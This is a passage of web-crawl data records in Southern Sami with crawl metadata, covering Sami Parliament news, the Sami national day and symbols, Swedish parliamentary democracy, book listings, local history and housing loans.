nyjsenæjja-aamhtese, jïh gelline suerkine annje numhtie, saemiedigkiepresidente Keskitalo vihteste, men saemiedigkieraerie sæjhta jienebh sijhtieh meatan årrodh mïrrestallemebarkosne.\n– Mijjieh vuejnebe vihkeles dovne nyjsenæjjah jïh ålmah leah meatan digkiedimmesne, jïh sïjhtebe Saemiedigkie edtja hijven vuesiehtimmine åvtene vaedtsedh gosse lea mïrrestallemen bïjre, presidente minngemes jeahta.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/saernieh\/sijhtebe-jienebh-leah-meatan-mirrestallemebarkosne.8318.aspx","date":"2020-10-31T13:52:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107918164.98\/warc\/CC-MAIN-20201031121940-20201031151940-00013.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":259,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien parlamentarihkeles raerie jïh Saemieraerie leah ektie årgaanem tseegkeme mij saemien nasjonaale symbovlh reerie jïh evtede. Ektieårgaanen mandaate lea njoelkedassh raeriestidh reeremen bïjre saemien nasjonaale symbovlijste, jïh vuarjasjidh mejtie saemien nasjonaale symbovlide dagkerh njoelkedassh edtjieh faamosne årrodh.\nLohkh vielie daesnie: Ektieårgaane reeremasse jïh evtiedæmman saemien nasjonaale symbovlijste\nGoevten 6.b. lea byögkeles saevegebiejjie Nöörjesne. Gellie heannadimmieh jïh symbovlh leah vïedteldihkie beajjan. Saemiedigkieraerie biejjiem aavode sov baeline abpe laantesne. Vuartesjh vöölemes sæjrosne gusnie nuhteligs svaalhtesh bïevnesidie åålmegebiejjien bïjre.\nBiejjiem mojhtesinie aavoedibie dan voestes saemien rïjhketjåanghkoen bïjre mij lij Metodistegærhkosne Tråantesne 1917. Daate lij voestes aejkien saemieh lin tjåanghkenamme juktie ektie saemien aamhtesi åvteste barkedh nasjonaalestaati raasti rastah. Voestes aejkien biejjiem aavoedi lij 1993.\nSaemien saevege\nVihkeles symbovle aavoedimmesne goevten 6.biejjeste lea saevege. Saemien saevege lea ektie gaajhkide saemide, saaht mennie laantesne dah årroeh. Noerhtelaanti saemiekonferanse Ååresne, Sveerjesne saevegem jååhkesji mïetsken 15.b. 1986, jïh saemien tjiehpiedæjja Astrid Båhl, Skibotnistie Romsesne lea saevegem hammoedamme.\nÅejviemotijve lea veedtjesovveme gievreste jïh dikteste Biejjien baernieh maam åarjelsaemie Anders Fjellner tjeeli. Daennie diktesne Fjellner saemide buerkeste goh biejjien baernieh. Saevegen gievlie edtja biejjiem jïh askem vuesiehtidh. Duekie (rööpses, plaave, kruana jïh viskes) lea ajve doh saemien klaerieh (mah leah doh sïejhmemes klaerieh saemien gaptine). Ovmessie mïelh klaeriej symbovli bïjre, jïh dan åvteste ij leah dejtie veelebelaakan tjïelkestamme.\nSaemien saevege jååhkesjimmiem Nöörjesne åadtjoeji 2003, jarkelimmiej tjirrh Saemielaakesne jïh Laake saevegebijjiedimmien bïjre tjïelti byögkeles gåetine. Stoerredigkie seamma tïjjen faamoem vedti Saemiedægkan mieriedimmieh åtnoen bïjre saeviegistie nænnoestidh. Saemiedigkie mieriedimmide nænnoesti suehpeden 27.b. 2004. Saevegen lea byögkeles statuse, men ij leah nasjonaalesaevege mij almetjerïekteles jïh staaterïekteles gånkarïjhkem Nöörje representerede.\nMieriedimmie åtnoen bïjre saemien saeviegistie\nSaevegen klaerieh jïh dimensjovnh\nSaemien åålmegelaavlome\nSaemien åålmegelaavlome, Saemiej laavlome, lea dikte maam Isak Saba tjeeli jïh bæjhkoehti plaeresne Sagai Muittalægje 1906. Saemiekonferanse Ååresne 1986 dam saemien åålmegelaavloeminie nænnoesti. Arne Sørli melodijem diktese darjoeji, jïh 15. saemiekonferanse Helsinkisne dam jååhkesji 1992. Teekstem jarkoestamme noerhtesaemien gieleste dejtie jeatjah saemien gielide.\nDaennie tjaatseginie Saemiej laavlome gååvnese noerhtesaemien, julevsaemien, åarjelsaemien jïh daaroen gïelesne\nÅtnoe baakoetjïerteste «nasjonaldag»\nGosse saemiekonferanse 1992 goevten 6.biejjiem saemien åålmegebiejjine nænnoesti, dellie nænnoestimmie lij noerhtesaemiengielesne jïh baakoetjïerte «sámi álbmotbeaivi» åtnasovvi. Gosse dam daaroengielese jarkoste dellie dïhte sjædta samisk\/samenes nasjonaldag. Såemies nöörjen jarkoestimmine «samefolkets dag» tjåådtjeme dan åvteste sámi lea samisk, álbmot lea folk jïh beaivi lea dag. Dennie sveerjen jarkoestimmesne saemiekonferanseste baakoetjïerte «samernas nationaldag» åtnasovvi.\nNöörjen baakoetjïerth «samefolkets dag» jïh «samisk folkedag» leah tseegkesovveme ovveele jarkoestimmiej gaavhtan jïh såemiesmearan goh illedahke baakoetjïerteste «nasjonaldag» man bïjre jeenjesh eah leah sïemes. Saemiekonferanse gujht våaroemasse bïeji saemieh leah akte åålmege (nasjovne) jïh åtnoe baakoetjïerteste nasjovne ij aktem jïjtse staatem krïevh. Dovne saemiekonferanse (mænngan Saemieraerie) jïh noerhtelaanti saemiedigkieh baakoetjïertem «åålmegebiejjie» nuhtjieh.\nLohkh aaj: Velkommen til samisk nasjonaldag\nByögkeles saemien saevegebiejjieh\nDoh byögkeles saemien saevegebiejjieh mejtie Saemiekonferanse Helsinkisne nænnoesti 1992, Saemiekonferanse Murmanskesne nænnoesti 1996 jïh Saemiekonferanse Tråantesne nænnoesti 2017 leah:\n- Goevten 6.b. –Saemien åålmegebiejjie goh mojhtese dan voestes rïjhketjåanghkoen bïjre Tråantesne 1917\n- Njoktjen 2.b. – Såevmien Saemiedigkie tseegkesovvi 1996 jïh saemiedelegasjovnen sijjeste bööti mij tseegkesovvi 1973.\n- Njoktjen 25.b. – Maarjanbiejjie, aerpievuekien saemien bissiebiejjie\n- Jovnesåhkoeh-biejjie - byögkeles bissiebiejjie\n- Mïetsken 9.b. – EN:n gaskenasjonaale aalkoeåålmegebiejjie\n- Mïetsken 15.b. – Saemien saevege nænnoestamme sjïdti daan biejjien 1986\n- Mïetsken 18.b. – Saemieraerie tseegkesovvi daan biejjien 1956\n- 26.b. – Rïhpestimmie Sveerjen Saemiedigkeste daan biejjien 1993\n- Golken 9.b. – Rïhpestimmie Nöörjen Saemiedigkeste daan biejjien 1989\n- Gålkoen 9.b. – Delegasjovne saemien aamhtesidie tseegkesovvi Såevmesne 1973\n- Gålkoen 15.b. – Isak Saban reakedsbiejjie 1875. Dïhte saemiej åålmegelaavlomen teekstem tjeeli\n- Gålkoen 29.b. – Elsa Laula Renbergen reakedsbiejjie 1877\nVielie bïevnesh\nWikipedia:\nVideo:\nLovdata\nNuhteligs vierhtieh maanagïertide, skuvlide jïh jeatjabidie","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/aalmegebiejjie-jih-nasjonaale-symbovlh\/","date":"2020-10-30T16:28:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00365.warc.gz","language":"sma","language_score":0.9998620749,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998620748519897}","num_words":541,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij jaepie deemokratije Sveerjesne sjidti? Jaepien 1921 dellie deemokratije veaksehke Sveerjesne sjidti. Jaepien 1919 rijhkebiejjie nännoestin nyjsenäjjah jih ålmah seamma siejhme giele vedteme reaktam utnin. Göökte jaepieh männgan dellie voesteges rijhkebiejjie veeljemem sjidti, maam dillie nännoestin. Dan veeljemen männgan 1921 vijhte nyjsenäjjah rijhkebiejjiesne sjidtin. Lohkh vielie daaroen: Riksdagens historia Gie åadtjoeh rijhkebiejjen veeljemisnie gielem vedtedh? Jis edtjh rijhkebiejjieveeljemse gielem vedtedh dellie tjoerh Sveerjen veasoje jih 18 jaepien årrodh. Gielereaktam åtnah dan laantedägkan jih tjieltiståvrose gosse sveerjen veasoje jih 18 jaepien minngemes veeljemebiejjien illedh jih aaj almetjetjaalegisnie dennie laantedigkesne jih tjieltine tjåadtjoeh. Almetjh mah meatan dennie Europan ektiedimmie staatesne leah jih aaj almetjh dehtie Islaanteste jih Nöörjeste seamma reaktam utnieh goh dah jeatjebh almetjh. Jeatjebh ålkoelistie almetjh gielereaktam utnieh jis Sveerjen almetjitjaalegisnie dah minngemes golme jaepieh veeljemebiejjien åvtelen orreme. Lohkh vielie daaroen: Val till riksdagen (lättläst) Val till riksdagen Valmyndighetens webbplats Man gellien aejkien rijhkebiejjieveeljeme Sveerjesne lea? Fierten nealjeden jaepien. Minngemes rijhkebiejjieveeljeme lij 2018, jih båetije veeljeme sjädta 2022. Lohkh vielie daaroen: Val till riksdagen (lättläst) Val till riksdagen Valmyndighetens webbplats Man gallesh gielem vedtieh rijhkebiejjieveeljemasse 2022? 87,2 prosente dejstie dah mah åadtjoejin gielem vedtedh daan rijhkebiejjeveeljemasse 2018. Lohkh vielie daaroen: Valmyndighetens webbplats Giem nännoste gie staateåvtohkinie edtja sjidtedh? Njaelmelthåvtohke, raereste giem staateåvtohkinie edtja sjidtedh, jih rijhkebiejjien lihtsegh tjiehtjelisnie ussjedieh guktie gielem vedtedh njaelmelthåvtohken raeriestimmien mietie. Mohte eannan njaelmelthåvtohke dam raeriem vadta, voestegh rijhkebiejjien paartijigujmie raeriesteamme. Lohkh vielie daaroen: Vilka får bilda regering? (lättläst) Så bildas regeringen Giem mimisteridie reerenassese veelji? Staateåvtohke jijtje veeljie ministeridie reerenassese. Dihte veasoeje gie ministere sjädta tjuara reaktam utnedh gielem rijhkebiejjieveeljemse vedtedh. Daanåvteste tjuara sveerjen veasoje årrodh jih aaj 18 jaepien illeme. Daate lea daan byjjes kriepesje guktie ministerinie åadtjoedh sjidtedh. Lohkh vielie daaroen: Vilka får bilda regering? (lättläst) Så bildas regeringen Regeringens webbplats Magkeres laavenjassh rijhkebiejjien njaelmelthåvtohke åtna? Njaelmelthåvtohke tsevtsede jih soejkesje rijhkebiejjien barkoem. Åvtohkine lea gosse tjiehtjele tjåahkoem åtna, desnie tsavtsa, raereste jih nännoste. Jeatja vihkeles laavenjasse lea, raeriestimmiem tsevtsedh gosse reerenassemållsome lea (giehtjh gyhtjelassem 5). Daaletje njaelmelthåvtohke Andreas Norlén. Lohkh vielie daaroen: Talmannens uppdrag Talmannen Gångka naan laavenjassem åtna rijhkebiejjesne? Gångkan laavenjasse lea, fierhnen jaepien tjaktjine rijhkebiejjien tjåanghkoejde rihpeste. Dellie rijhkebiejien jaepiem aalka. Gångka lea Sveerjen staateåvtohke, mohte dihte barkoe lea heevehtimmien barkoe mah åvtelbodtie tjåådtje. Lohkh vielie daaroen: Kungahusets webbplats","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/riksdagen.se\/sma-SE\/sprak\/other-languages\/aarjelsaemien-sydsamiska\/rijhkebiejjie-jih-deemokratije\/","date":"2020-11-30T14:26:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141216175.53\/warc\/CC-MAIN-20201130130840-20201130160840-00332.warc.gz","language":"sma","language_score":0.9997892976,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999789297580719}","num_words":356,"character_repetition_ratio":0.109,"word_repetition_ratio":0.035,"special_characters_ratio":0.145,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lohkemegærja lea 3. klaassese. Lohkemegærja lea jaepie-boehki mietie öörneme. Dah teksth leah ovmessie sjangerinie dovne åenehks jïh guhkie. Guvvieh gærjesne edtjieh vielie teksti bïjre soptsestidh. Dah edtjieh aaj viehkine årrodh jïh edtjieh teksten goerke-simmiem evtiedidh. Barkoegærja, bïhkedimmie lohkehtæjjide jïh CD gååvnesieh.\nLes mer\nLæreverk for elever på 3. trinn med samisk som førstespråk.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.haugenbok.no\/gieline-aahpenidh-3\/joma-liv-karin\/klemensson-ase\/9788256016990","date":"2021-05-09T05:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988955.89\/warc\/CC-MAIN-20210509032519-20210509062519-00552.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":52,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre gærja: Dah golme åerpenh\nSkrevet den 26.02.14\nAnita Dunfjeld Aagård lea åemie Pöövle Vesterfjellen (1921-2000) heamturem ohtsedamme jïh dellie gærja \"Dah golme åerpenh\" sjïdti gosse Katarina Blind guvvieh darjoeji.\nGuvviedæjja Katarina Blind jïh Anita Dunfjeld Aagård, gåabpegh Snåasen luvhtie, ligan ektesne barkeme.\nPöövle Vesterfjell eadtjohke jïh væjkeles soptsestæjja lij. Gellie gïeh Nåamesjen dajvesne, mujhtieh guktie Pöövle vaajesti. Saemien gïele daan ietniegïele.\nDaate gærja badth hijven gaajhkesidie gïeh sijhtieh saemien njaalmeldh-gïelem evtiedidh. Gærjesne naa jïjnjh jiehtegh jïh aerpie-vuekieh: guktie saemiestidh jïh guktie gïele jåhta.\nDaate heamture hijven orre boelvide, edtjieh mujhtedh tjaebpieslaakan ålkene dåemiedidh. Mijjen dïedte eatnemem vaarjelidh. Gærjesne maehtebe lohkedh guktie eatneme lij aerebe dah jaevrieh deepmesovveme.\nMaahtah gærjam Saemien Sijtesne jallh Gaaltijisnie åestedh, dovne dej bovrine jallh gaskeviermesne dongkedh.\nTeekste jïh guvvie: Meerke Krihke Liene Bientie\nDah golme åaerpenh\nTeekste: Anita Dunfjeld Aagård\nGuvvieh: Katarina Blind\nISBN: 978-82-992976-7-7","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.samiskmenighet.no\/event\/doLink\/famid\/391317","date":"2021-09-23T23:48:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057479.26\/warc\/CC-MAIN-20210923225758-20210924015758-00104.warc.gz","language":"sma","language_score":0.9999656677,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999656677246094}","num_words":137,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie saemien healsoedåehkien guhkiebasse evtiedimmiem dåårjeÅarjelsaemien healsoeviermie jïh saemien healsoedåehkie 335 000.- kråvnah dååste juktie sov barkoem jåerhkedh 2022. Åarjelsaemien healsoeviermien åejvieulmie lea seammavyörtegs healsoedïenesji åvteste barkedh saemien årroejidie daajroebievnemen, prosjektebarkoen, dotkemen jïh klinihkeles barkoen tjïrrh. Runar Myrnes Balto (NSR) —Mijjieh saemiedigkieraeresne libie geerjene gosse maehtebe vierhtieh prosjektese dåarjodh ikth vielie. Jolle jïh vihkeles maahtoe daan teeman bïjre, jïh dan åvteste vihkeles Saemiedigkie lea meatan jïh daam barkoem dåarjohte, saemiedigkieraerie Runar Myrnes Balto (NSR) jeahta. Saemien healsoedåehkesne healsoebarkijh mah gamte dååjrehtimmiem healsoesuerkeste utnieh, jïh maahtoem saemien healsoegyhtjelassi bïjre utnieh. Dah gaskem jeatjah prioriteeremh utnieh mah psykiske healsoem nænnoestieh saemien maanaj jïh noeri luvnie. Jïh prosjekth mah viehkiehtieh hööptedh jïh giehpiedidh låhkoem aemieluesiemistie, aemieluesemevoejhkelimmeste jïh jïjjeslæjrarimmeste, jïh prosjekth mah hijven healsoem båatsosne eevtjieh. —Saemien healsoedåehkie tjoevkesem beaja gellielaaketje healsoehaestiemidie saemien årroji luvnie. Mijjieh dam guarkebe goh dej barkoe lea joekoen daerpies, jïh dan åvteste vihkele Saemiedigkie maahta meatan årrodh sjïehteladtedh guktie barkoe maahta jåerhkedh, Myrnes Balto jeahta. Dåarjoe daan prijoriteeten mietie vadtasåvva: Prosjekth mah daajroem saemien jïh gïelen jïh kultuvren bïjre evtiedieh saemien healsoen, hoksen jïh maanavaarjelimmien sisnjeli. ArtikkelPublisertDatoFront11.01.2022 12.36 SistEndret11.01.2022 12.41","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sametinget.no\/saernieh\/saemiedigkieraerie-saemien-healsoedaehkien-guhkiebasse-evtiedimmiem-daarje.19154.aspx","date":"2022-01-29T13:28:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306181.43\/warc\/CC-MAIN-20220129122405-20220129152405-00426.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":176,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orrestaare\nGuhkiem dejnie barkin edtji galkedh gååvnesidh köping jallh staare noerhte Ångermanlandesne. Sïjhti dejnie vuekien öörnedh åesiestimmiem dajvesne jïh aaj dajven statusem nænnoestidh. Dah gïeh dej berkin meehtin guhkies digkiedimmien mænngan seamadin Norrlungånger lij sjïehteles sijjie. Daesnie lij gïengeles loekte gosse aaj stuerebe vïnhtsh aelhkieslaakan meehtin båetedh, dïhte lij laantegeajnoen lïhke jïh hijven jåarta. 1842 Kungliga majestätet tseegkesovvi luhpiem köpingem tseegkedh. Köpingen nomme lij Orrestaare. Staaresoejkesjem tjaeliestin jïh dellie eelkin åadtjodh almetjh dohkoe juhtedh jïh sïelth aelkiestin.\nKöpinge soejmetji men vihties sjïdtedi jïh jaepien 1894 Orrestaare åadtjoeji staarereaktah. Dïhte sæjhta gaskem jeatjah jiehtedh dïhte reaktam utni trygkerijem tseegkedh, reaktaj bïjre dåapmedh jïh mubpiej laantigujmie åesiestidh.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/orrestaare","date":"2022-05-29T03:05:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00204.warc.gz","language":"sma","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999951124191284}","num_words":103,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Arkangel TV NRK Sámi Radio Vaadtasovvemejaepie 1991 Faage Eatnemefaage Siebriedahkefaage Daltese 5-7 8-10 Giele Noerhtesaemiengïele Daaroengïele ISBN Vi156 Tïjje 00:56:44 Formaate DVD Reakta-aajhtere Arkangel TV NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Eatnemelearoe Åålmege jïh laanth Kultuvre Filme Aarhte jïh daajroe Healsoe Byjrese Eatnemefaage Siebriedahke Politihke Siebriedahkedaajroe Viehkiebaakoe ČSV","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/filbma_forurensing","date":"2022-10-05T15:08:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337631.84\/warc\/CC-MAIN-20221005140739-20221005170739-00285.warc.gz","language":"sma","language_score":0.9988293052,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9988293051719666}","num_words":51,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Røros bijjemes gærhkoegaertene\nOvrehte 1900 lij jienebh saemieh mah Plaassjesne årroejin jïh mah leah juvlelgamme daesnie bijjemes gærhkoegaertienisnie. Akte dejstie kroeptegierkijste lea joekoen våajnoes. Dïhte lea kroeptemojhtese mij lea tseegkesovveme paarretjealmetji bijjeli Elin Anna, reakadamme Duorra 1874, jïh Daniel Mortenson reakadamme 1860.\nElin Anna jïh Daniel gåabpatjahkh båatsosne byjjenin, jïh bovtse lij dej guaktaj jieliemasse. Båatsoefuelhkiej eaktoeh jaepiemålsomen bïjre 1900 lin geerve, jïh dej lin stoerre haestemh, dovne åejvieladtji laaki gaavhtan jïh tjarke voenges deadtoven gaavhtan. Båatsoelaake maam sjïehtesji 1800-låhkoen galhkuvisnie, aajkojne utni jåartaburrien ïedtjh gorredidh jïh ij båatsoen. Destie stoerre negatijve konsekvensh sjïdti båatsoeburride.\nDaniel Mortenson eadtjohkelaakan barki ihke saemieh edtjin jïjtjemse organiseeredh, jïh lij akte dejstie mij lij meatan saemiesiebrieh tseegkedh Trööndelagesne jïh Helgelaantesne 1907 jïh 1908. Voestes saemien rïjhketjåanghkosne Tråantesne 1917 tjåanghkoen åvtehkinie veeljesovvi, jïh håalomem höölti daerpiesvoeten bïjre akten orre jïh rïektes båatsoelaakese. Dïhte åvtehkinie veeljesovvi akten jïjtse laakemoenehtsasse, mij raeriestimmiem orre båatsoelaakese böökti 1919. Nöörjen åejvieladtjh laakeraeriestimmiem svïegkesasse bïejin.\nMortensonen vihkeles dïrrege barkosne eaktojde bueriedidh saemien seabradahkese, lij plaerie Waren Sardne, mïsse lij redaktööre. Plaerie edtji bïevneseåerine årrodh saemien årroejidie mah bårrode årroejin stoerre geograafeles dajvesne. Altese stoerre ïedtjen gaavhtan båatsoepolitihke joekoen vihkele sjïdti Røros-saemien dajvesne.\nDaniel Mortenson lij tjirkijinie åarjelsaemien båatsoesaemiej åvteste gelline ektiedimmine – aaj tjåanghkojne gånkine jïh staateministerinie. Dïhte lij meatan delegasjovnine mah edtjin åejvieladtjide goerkelidh båatsoesaemiej tsiehkiem guarkedh. Mortenson amma eadtjohkelaakan barki laakide jïh reeremem båatsoste baajnehtidh, men aaj ïedtjem utni jeatjah sjyöhtehke seabradahkegyhtjelassi bïjre mah lin vihkeles saemide.\nMojhtesegierkie Elin Anne jïh Daniel Mortensonen kroepten lïhke tseegkesovvi skraejrien mietie Rørossaemien nyjsenesiebreste, goh mojhtese Daniel Mortensonen barkoen bïjre saemiej tsiehkiem bueriedidh åarjelsaemien dajvesne. Siebrie öörni beetnegh åarjelsaemien dajvesne tjöönghkedh mij mojhtesemïerhkem maeksieji. Kroeptegierkie tseegkesovvi skïereden 1927, golme jaepieh mænngan Daniel sealadi. Kroeptemojhtesisnie tjåådtje: «Den som gaar foran i den hete dyst - han seirer ei, men kjemper kun og falder.» Daniel Mortenson lij lohkehtæjja, båatsoesaemie, plaerieredaktööre, politihkere jïh organisasjovneålma. Altese stoerre barkoe, jaahkoe båetijen aajkan jïh heartoeh leah skraejrie barkoem jåerhkedh rørossaemiej jieledevåaromem jïh kultuvrem gorredidh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/rorosmuseet.no\/lyttepunkter?kp_id=44:888:8190","date":"2023-02-07T14:46:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500619.96\/warc\/CC-MAIN-20230207134453-20230207164453-00654.warc.gz","language":"sma","language_score":0.9999808073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999808073043823}","num_words":314,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïskohpe Fovsen bïjre håalemisnie soptsesti\nBïskohpe Nidarosne, Herborg Finnset, sov orrejaepiehåaleme Nidarosdomesne dæjstan utni. Dïhte Fovsen-dåapmoen bïjre soptsesti, jïh guktie reerenassem lea jïllemesreaktan dåapmoen gïetedamme. Finnset tuhtjie akte dåapmoe jïllemesreakteste edtjien vielie jeatjahtehtieh goh reerenassem lea Fovsesne dorjeme.\n– Jïllemesreaktan dåapmoe jiehtieh konsesjovnen ovdæjpele lij. Bene reerenassem ij maam darjoeh, biskohpe jeehti.\nFinnset Fovsen daelvielaanten bïjre soptsesti, jïh guktie dah lea biegkefaamoe desnie bigkeme. Håalemisnie dïhte vuaptastehti guktie dah mij religiovne jallh unnebelåhkoeduekie ektiedimmie utnieh tjuerien åadtjoeh sov kultivrine jielieh.\nDïhte aaj saetniesvoete- jïh liktemekommisjovnen bïjre soptsesti.\n– Saetniesvoete- jïh liktemekommisjovnen tuhtjie tsiehkien Fovsesne aalvere lea. Dah lea byjjesfaamoene gihtjeme jis dah maehtie akte tjåanghkoe dan bïjre utnedh. Guktie edtjieh seamadimmie åadtjodh gosse mijjieh ibie rïektesvoete utnebe?, biskohpe gihtjie.\nÅlja- jïh energijedepartemente (OED) jeahta reerenassem Nøørjen åålmehreaktajne fulhkesieh, jïh dah leah akte prosesse aalkeme gusnie dah edtjieh tjirkedidh båatsoeh Fovsesne.\n– Departementese ij lea tjirkemisnie man åvteste biskohpe Finnset numhtie jeahta, staatentjaelije OEDesne, Elisabaeth Sæther (AP) jeahta.\n– Mijjieh sinsitniem daarpesjibie , jïh mijjieh tjoerebe byjjesfaamoen jïh sinsitniem tillit utnedh, Finnset jeehti.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.nrk.no\/sapmi\/saernie---aarjelsaemien-1.13572943","date":"2023-02-01T20:14:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499949.24\/warc\/CC-MAIN-20230201180036-20230201210036-00422.warc.gz","language":"sma","language_score":0.9999896288,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999896287918091}","num_words":167,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh magijeles gaektsie Máttasámegillii\/sørsamisk\nPlakaatesne «Doh magijeles gaektsie» raerieh gaavnh ovmessie aatide mejtie maahtah leavloem bïejedh juktie almetjem dåarjoehtidh ektiedimmiem vueptiestidh gaskem dam mij lea gærjesne tjaalasovveme jïh dam maam datne jeahtah gosse ektesne lohkede.\nLes omtale av De magiske åtte på bokmål.\nLoga Magihkalaš gávcci birra davvisámegillii.\nLågå Skieddis gáktsa birra julevsámegillii.\nMubpesth jiehtedh jïh damtijidh leah vihkele juktie almetjen goerkesem baakoej åvteste lissiehtidh, jïh sisvegem guarkedh baakoetjïertine dejnie gærjine dijjieh lohkede. Ryöjredh dïsse maam sïjhth jarngesne utnedh jïh darjoeh maaje soejkesjem jallh bijjieguvviem dïsse maam sïjhth jarngesne utnedh gosse lohkede. Aaj hijven jis seamma gærjam lohkh gellien aejkien.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/statped.no\/laringsressurser\/ask\/ask-samisk\/doh--magijeles-gaektsie-mattasamegilliisorsamisk\/","date":"2023-03-21T01:29:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943589.10\/warc\/CC-MAIN-20230321002050-20230321032050-00282.warc.gz","language":"sma","language_score":0.9999746084,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999746084213257}","num_words":100,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laajkoe Husbankeste\nDatne maahtah laajkoem Hausbankeste ohtsedh jis ussjedh gåetiem tseegkedh, jallh gåetiem orrestehtedh\/stueriedidh.\nBievnesh dan öörnegen bïjre Husbanken sæjrosne gaavnh.\nAalkoelaajkoe\nHusbanken öörnegem aalkoelaajkone ïih dåarjegigujmie åtna jis datne geerve åtnah laajkoem siejhmebaankeste åadtjodh. Bïevnesh daej öörnegi bïjre Husbanken sæjrosne gaavnh.\nTjïelten öörnegh\nRaarvihken tjïelte lea dennie darjomesoejkesjisnie årromepolihkesne «Lys i husan». Dåarjegidie nænnoestin:\nGosse Gåetieh åastedh\/doekedh\/ orrestehtedh Raarvihken tjïeltesne\nMaehtede 150.000 kr åadtjodh jis orre gåetiem bigkedh, gusnie ij leah tjïelten tjaetsie jallh jotskeltjaetsie. Dle maahta 75.000 kr åadtjodh.\nTjoerh ohtsemem Raarvihken tjïeltese seedtedh åvtelen aalkah bigkedh.\nTjoerh sjïere paehperisnie ohtsedh jhï seedth Raarvihken 